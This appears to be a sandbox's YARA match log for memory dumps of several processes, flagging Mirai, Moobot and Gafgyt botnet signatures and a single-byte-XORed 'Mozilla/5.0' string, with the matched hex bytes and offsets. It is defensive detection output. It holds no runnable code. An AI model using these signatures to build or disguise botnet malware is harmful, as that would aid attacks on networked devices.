7386.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7324.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7324.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7324.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7324.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7324.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7324.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6654.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7359.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6376.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6376.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6376.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6376.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6376.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6376.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7157.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6257.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6257.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6257.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6257.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6257.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6257.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6701.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6965.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6965.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6965.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6965.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6965.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6965.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7318.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7401.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7401.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7401.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7401.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7401.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7401.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7336.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6410.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6410.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6410.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6410.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
